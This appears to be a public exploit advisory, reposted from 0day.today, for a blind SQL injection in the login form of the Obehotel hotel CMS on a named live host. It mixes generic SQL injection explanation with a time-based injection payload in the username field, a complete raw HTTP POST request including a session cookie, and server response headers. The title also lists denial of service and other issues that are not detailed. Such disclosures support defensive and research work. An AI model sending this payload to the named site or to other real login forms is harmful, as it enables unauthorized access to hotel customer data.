Obehotel CMS SQL Injection Vulnerability

OBEHOTEL (Spanish) CMS Blind SQLinjection /  Apache httpd Remote Denial of Service / Directory Listing / Insecure transition from HTTPS to HTTP in form post

I-VULNERABILITY
-------------------------

#Title: OBEHOTEL CMS Blind SQLinjection /  Apache httpd Remote Denial of Service /  Directory Listing  / Insecure transition from HTTPS to HTTP in form post

#Vendor:https://secureadv.obehotel.com/mpa/

#Author:Juan Carlos García (@secnight)

#Follow me 

 http://www.highsec.es
 http://hackingmadrid.blogspot.com
Twitter:@secnight



II-Introduction:
================

Obehotel is the set of different solutions, technological developments and applications directed
to hotels for online marketing and distribution aimed at improving both hoteliers processes such as customer experience.

Obehotel is the result of joint effort conducted by professionals with extensive experience in the ICT-Sector
Efimatica-and marketing professionals-Travel Tourism Sector Holidaysinspain.com-like main online distribution partner.

This union puts them as one of the major Spanish companies specializing in online distribution technology applied to the Hospitality Industry.

-------------------------

III-PROOF OF CONCEPT
====================


Attack details
--------------

Blind SqlInjection
******************

SQL injection is a vulnerability that allows an attacker to alter backend SQL statements by manipulating the user input.

An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't
properly filter out dangerous characters. 

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. 

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker.

It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use subselects, or append additional queries. In some cases,
it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). 

If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.



Attack details
--------------

URL encoded POST input username was set to

xlgskuot' or (sleep(2)+1) limit 1 -- 

POST /mpa/index.php 


Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./hotel_inicio/index.php
Vary: Accept-Encoding
Content-Length: 3402
Keep-Alive: timeout=15, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8


password=g00dPa$$w0rD&username=xlgskuot%27%20or%20%28sleep%282%29%2b1%29%20limit%201%20--%20

variant (1)

name

POST /mpa/index.php HTTP/1.1
Content-Length: 92
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=sto2bv4krb2h4f0n45tm6o4hn3
Host: secureadv.obehotel.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Accept: */*

password=g00dPa$$w0rD&username=xlgskuot%27%20or%20%28sleep%282%29%2b1%29%20limit%201%20--%20

#  0day.today [2018-02-06]  #